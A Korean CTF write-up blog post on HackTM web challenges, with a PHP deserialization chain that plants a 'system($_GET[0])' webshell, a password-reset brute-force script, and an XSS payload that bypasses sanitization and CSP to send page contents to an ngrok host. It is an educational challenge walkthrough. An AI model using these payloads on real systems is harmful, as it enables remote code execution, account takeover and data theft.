&lt;p data-ke-size=&quot;size16&quot;&gt;위 사이트 설명대로, 다음과 같이 query를 작성하면 DB 파일을 생성하고 연결하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 DB에 table을 만들고 php 코드를 insert하게 되면 DB 파일 생성을 통한 webshell을 만들 수 있게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1676962291192&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$conn = new Conn;
$conn-&amp;gt;queries = array(
    new Query(&quot;ATTACH DATABASE '/var/www/html/images/.somerandomname.php' AS jctf;&quot;, array()),
    new Query(&quot;CREATE TABLE jctf.pwn (dataz text);&quot;, array()),
    new Query('INSERT INTO jctf.pwn (dataz) VALUES (&quot;&amp;lt;?php system($_GET[0]); ?&amp;gt;&quot;);', array())
);

$in_user = new User(&quot;asdf&quot;);
$in_user-&amp;gt;profile = $conn;

$profile = new Profile(&quot;asdf&quot;);
$profile-&amp;gt;username = $in_user;

$user = new User(&quot;asdf&quot;);
$user-&amp;gt;profile = $profile;
// User.get_profile() converts $this-&amp;gt;profile to a string
//   profile = Profile, calls Profile.__toString() which does string conversion when placing $this-&amp;gt;username in a string
//   (caveat: it has to pass db checks, which will place an empty str as the username in the sql query since the username is not a string)
//     username = User, calls User.__toString() which in turn calls $this-&amp;gt;profile()
//       profile = Conn, already initialized with three queries to drop a webshell

echo base64_encode(serialize($user));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;3. [web] Crocodilu&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원가입 후 로그인을 시도하면, active 상태가 아니기 때문에 로그인을 할 수 없다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 코드를 보면, 회원가입을 한 사용자는 기본적으로 `active=False` 상태이기 때문이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;422&quot; data-origin-height=&quot;340&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsfWJD/btr0e8Yn0VS/vGVjUucBKret4ivX5a79s1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsfWJD/btr0e8Yn0VS/vGVjUucBKret4ivX5a79s1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsfWJD/btr0e8Yn0VS/vGVjUucBKret4ivX5a79s1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsfWJD%2Fbtr0e8Yn0VS%2FvGVjUucBKret4ivX5a79s1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;422&quot; height=&quot;340&quot; data-origin-width=&quot;422&quot; data-origin-height=&quot;340&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`reset_code()` 함수를 사용할 때는 이메일 값을 `lower()` 하지 않고 로직을 처리하고 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;592&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwH1HV/btr0fvltzUr/D6wUH2jj9tM8n3KNwqEoOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwH1HV/btr0fvltzUr/D6wUH2jj9tM8n3KNwqEoOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwH1HV/btr0fvltzUr/D6wUH2jj9tM8n3KNwqEoOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwH1HV%2Fbtr0fvltzUr%2FD6wUH2jj9tM8n3KNwqEoOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;592&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;592&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자는 다음과 같이 생각했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대소문자를 구분하지 않는 mysql과 대소문자를 구분하는 redis 특성을 이용하여, 브포 방어 코드를 bypass 할 수 있디.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;865&quot; data-origin-height=&quot;279&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD2F4V/btrZ9MPEObL/Phl5lCsBD7FDhHrecOcmW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD2F4V/btrZ9MPEObL/Phl5lCsBD7FDhHrecOcmW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD2F4V/btrZ9MPEObL/Phl5lCsBD7FDhHrecOcmW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD2F4V%2FbtrZ9MPEObL%2FPhl5lCsBD7FDhHrecOcmW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;865&quot; height=&quot;279&quot; data-origin-width=&quot;865&quot; data-origin-height=&quot;279&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;code 값은 숫자로 이뤄진 4자리이기 때문에, 다음과 같이 email 값을 길게 만들고 대문자를 하나씩 바꿔가면서 검증하는 코드를 작성했다.&lt;/p&gt;
&lt;pre id=&quot;code_1676965794710&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests

EMAIL = &quot;universeuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverse3@t.c&quot;
URL   = &quot;http://34.141.16.87:25000&quot;

def request_code():
    res = requests.post(f&quot;{URL}/request_code&quot;, data = {&quot;email&quot; : EMAIL})
    print(res.text)


def reset_code():
    code = 0
    tmp_email = EMAIL

    for i in range(len(EMAIL)):

        if EMAIL[i] == &quot;@&quot;:
            break

        for j in range(i, len(EMAIL)):
            if EMAIL[j].isnumeric() == True:
                continue

            if EMAIL[j] == &quot;@&quot;:
                break

            j_tmp_email = list(tmp_email)
            j_tmp_email[j] = j_tmp_email[j].upper()
            j_tmp_email = ''.join(j_tmp_email)

            for _ in range(2):
                res = requests.post(f&quot;{URL}/reset_password&quot;, data = {&quot;email&quot; : j_tmp_email, &quot;code&quot; : str(code).rjust(4, &quot;0&quot;), &quot;password&quot;: &quot;universe&quot;})
                print(f&quot;[!] reset_password [{str(code).rjust(4, '0')}]: {j_tmp_email}&quot;)

                if res.text.find(&quot;Invalid email or code&quot;) == -1:
                    print(res.text)
                    print(&quot;[*] password change&quot;)
                    print(f&quot;[*] code: {code}&quot;)
                    exit()
                else:
                    code += 1
            

        tmp_email = list(tmp_email)
        tmp_email[i] =  tmp_email[i].upper()
        tmp_email = ''.join(tmp_email)

if __name__ == &quot;__main__&quot;:
    request_code()
    reset_code()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인에 성공한 뒤, 게시글을 작성하여 XSS를 트리거 시켜야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 다음과 같이 iframe 태그에 정해진 youtube host와 CSP가 적용되어 있어 XSS를 트리거 시키기 어려웠다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lJiyW/btr0aUzWTeU/N2cAvyy1ICNlGekHEO2fz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lJiyW/btr0aUzWTeU/N2cAvyy1ICNlGekHEO2fz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lJiyW/btr0aUzWTeU/N2cAvyy1ICNlGekHEO2fz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlJiyW%2Fbtr0aUzWTeU%2FN2cAvyy1ICNlGekHEO2fz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1006&quot; height=&quot;466&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1676966967413&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;add_header Content-Security-Policy &quot;default-src 'self' www.youtube.com www.google.com/recaptcha/ www.gstatic.com/recaptcha/ recaptcha.google.com/recaptcha/; object-src 'none'; base-uri 'none';&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 롸업을 봤는데, BeautifulSoup 모듈의 해석을 이용하는 방법과 youtube의 JSONP를 이용하여 XSS를 트리거 하는 벙법이다.&lt;/p&gt;
&lt;figure id=&quot;og_1676967977484&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Crocodilu - CTFs&quot; data-og-description=&quot;blacklist = ['script', 'body', 'embed', 'object', 'base', 'link', 'meta', 'title', 'head', 'style', 'img', 'frame']&quot; data-og-host=&quot;ctf.zeyu2001.com&quot; data-og-source-url=&quot;https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/crocodilu#bypassing-html-sanitization&quot; data-og-url=&quot;https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/crocodilu#bypassing-html-sanitization&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/puoNh/hyRHyRQ3u3/uiswWI3XUCkf3nVQKvVxW0/img.png?width=2346&amp;amp;height=870&amp;amp;face=0_0_2346_870,https://scrap.kakaocdn.net/dn/c0447K/hyRHpm2CT1/Uxwfc3e4ZP78evKfyg3pQK/img.png?width=1256&amp;amp;height=838&amp;amp;face=0_0_1256_838,https://scrap.kakaocdn.net/dn/cRc9C6/hyRHu9KcFs/bj1e22RoybbP7hWLOri000/img.png?width=1658&amp;amp;height=613&amp;amp;face=0_0_1658_613&quot;&gt;&lt;a href=&quot;https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/crocodilu#bypassing-html-sanitization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/crocodilu#bypassing-html-sanitization&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/puoNh/hyRHyRQ3u3/uiswWI3XUCkf3nVQKvVxW0/img.png?width=2346&amp;amp;height=870&amp;amp;face=0_0_2346_870,https://scrap.kakaocdn.net/dn/c0447K/hyRHpm2CT1/Uxwfc3e4ZP78evKfyg3pQK/img.png?width=1256&amp;amp;height=838&amp;amp;face=0_0_1256_838,https://scrap.kakaocdn.net/dn/cRc9C6/hyRHu9KcFs/bj1e22RoybbP7hWLOri000/img.png?width=1658&amp;amp;height=613&amp;amp;face=0_0_1658_613');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Crocodilu - CTFs&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;blacklist = ['script', 'body', 'embed', 'object', 'base', 'link', 'meta', 'title', 'head', 'style', 'img', 'frame']&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;ctf.zeyu2001.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선, BeautifulSoup 모듈에서 html 코드를 해석할 때, 주석을 포함한 script를 태그를 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 주석이기 때문에 parse를 하지 않고 빈 list 를 리턴한다.&lt;/p&gt;
&lt;pre id=&quot;code_1676968370383&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; BeautifulSoup(&quot;&amp;lt;!--&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;--&amp;gt;&quot;, 'html.parser').find_all()
[]
&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 html 코드를 브라우저에서 확인해보면, 정상적으로 XSS가 동작하는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아마도, BeautifulSoup 모듈은 &lt;span&gt;`&amp;lt;!--&amp;gt;` 를&lt;span&gt; 주석으로 생각해서 parse하지 않은 것으로 판단된다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;브라우저는 &lt;span&gt;`&amp;lt;!--&amp;gt;` 를&lt;span&gt; 주석의 시작과 끝이라고 판단해서 `&amp;lt;!----&amp;gt;` 로 바꿔 표현한 것으로 판단된다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;273&quot; data-origin-height=&quot;161&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDPuIG/btr0e76qmTy/fimWBhO0f5TD3q1BlRFNR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDPuIG/btr0e76qmTy/fimWBhO0f5TD3q1BlRFNR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDPuIG/btr0e76qmTy/fimWBhO0f5TD3q1BlRFNR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDPuIG%2Fbtr0e76qmTy%2FfimWBhO0f5TD3q1BlRFNR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;359&quot; height=&quot;212&quot; data-origin-width=&quot;273&quot; data-origin-height=&quot;161&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째로, csp evaluator 사이트를 통해 위 CSP를 확인해보면, 다음과 같이 youtube 호스트에는 알려진 CSP bypass가 존재한다고 설명되어 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;208&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQUhmi/btrZ9FwgbnK/l2Pe6AuQvnK4bFI7AeHOsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQUhmi/btrZ9FwgbnK/l2Pe6AuQvnK4bFI7AeHOsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQUhmi/btrZ9FwgbnK/l2Pe6AuQvnK4bFI7AeHOsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQUhmi%2FbtrZ9FwgbnK%2Fl2Pe6AuQvnK4bFI7AeHOsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;208&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;208&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 게시글에는 다음과 같은 사이트에서 youtube에 사용된 callback을 찾게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://issuetracker.google.com/issues/35171971?pli=1&quot;&gt;https://issuetracker.google.com/issues/35171971?pli=1&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1676968583137&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Google Issue Tracker&quot; data-og-description=&quot;&quot; data-og-host=&quot;issuetracker.google.com&quot; data-og-source-url=&quot;https://issuetracker.google.com/issues/35171971?pli=1&quot; data-og-url=&quot;https://issuetracker.google.com/issues/35171971?pli=1&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://issuetracker.google.com/issues/35171971?pli=1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://issuetracker.google.com/issues/35171971?pli=1&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Google Issue Tracker&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;issuetracker.google.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 링크에 있는 youtube callback 링크에 요청을 다음과 같이 보내면, jsonp 에러가 발생하는 것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1634&quot; data-origin-height=&quot;536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUadIl/btr0gk400GF/zIpGneFmLFzbe2vm37CeZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUadIl/btr0gk400GF/zIpGneFmLFzbe2vm37CeZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUadIl/btr0gk400GF/zIpGneFmLFzbe2vm37CeZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUadIl%2Fbtr0gk400GF%2FzIpGneFmLFzbe2vm37CeZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1634&quot; height=&quot;536&quot; data-origin-width=&quot;1634&quot; data-origin-height=&quot;536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 최종적인 payload는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1676968888371&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!--&amp;gt;&amp;lt;script src=&quot;https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&amp;amp;format=json&amp;amp;callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})&quot;&amp;gt;&amp;lt;/script&amp;gt;--&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4. [web] secrets&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;다음은 아래 롸업을 통해 재작성 되었다.&lt;/p&gt;
&lt;figure id=&quot;og_1677050446342&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;secrets - CTFs&quot; data-og-description=&quot;The challenge had SameSite=Lax cookies, so the primitive for any XS-Leak attack is a top-level navigation (e.g. through window.open). There is no way to detect server response codes in a cross-origin window reference, so I started looking for other ways to&quot; data-og-host=&quot;ctf.zeyu2001.com&quot; data-og-source-url=&quot;https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets&quot; data-og-url=&quot;https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dEbAvv/hyRIt9WOwX/HhWtXIrDsjB9QMv2ap0pSk/img.png?width=3104&amp;amp;height=1844&amp;amp;face=0_0_3104_1844,https://scrap.kakaocdn.net/dn/bmM6Pb/hyRIuHMTQG/LpYAmDlvDpkkta4SnAemm0/img.png?width=3104&amp;amp;height=1844&amp;amp;face=0_0_3104_1844&quot;&gt;&lt;a href=&quot;https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets&quot; data-source-url=&quot;https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dEbAvv/hyRIt9WOwX/HhWtXIrDsjB9QMv2ap0pSk/img.png?width=3104&amp;amp;height=1844&amp;amp;face=0_0_3104_1844,https://scrap.kakaocdn.net/dn/bmM6Pb/hyRIuHMTQG/LpYAmDlvDpkkta4SnAemm0/img.png?width=3104&amp;amp;height=1844&amp;amp;face=0_0_3104_1844');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;secrets - CTFs&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The challenge had SameSite=Lax cookies, so the primitive for any XS-Leak attack is a top-level navigation (e.g. through window.open). There is no way to detect server response codes in a cross-origin window reference, so I started looking for other ways to&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;ctf.zeyu2001.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 문제는 XS leak 공격을 통해 접근할 수 없는 게시글의 내용(flag)을 탈취해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제의 기능 중에는 검색 기능이 있는데, 다음과 같은 조건을 만족하면 검색 목록을 보여준다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;검색한 내용이 게시글에 포함되어야 한다.&lt;/li&gt;
&lt;li&gt;본인 게시글만 검색이 가능하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 조건을 근거로, 게시글을 찾았을 때 패킷을 보면 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답 패킷을 보면, 다른 `results.wtl.pw` host로 이동되는 것을 볼 수 있다. (추가로 검색된 게시글의 idx 번호와 query도 함께 GET 방식으로 전달된다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1287&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzzENp/btr0pvSz9wb/0WiG0Iqx9kbCMKH4elM0x1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzzENp/btr0pvSz9wb/0WiG0Iqx9kbCMKH4elM0x1/img.png&quot; data-alt=&quot;게시글이 존재할 경우&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzzENp/btr0pvSz9wb/0WiG0Iqx9kbCMKH4elM0x1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzzENp%2Fbtr0pvSz9wb%2F0WiG0Iqx9kbCMKH4elM0x1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1287&quot; height=&quot;246&quot; data-origin-width=&quot;1287&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;게시글이 존재할 경우&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
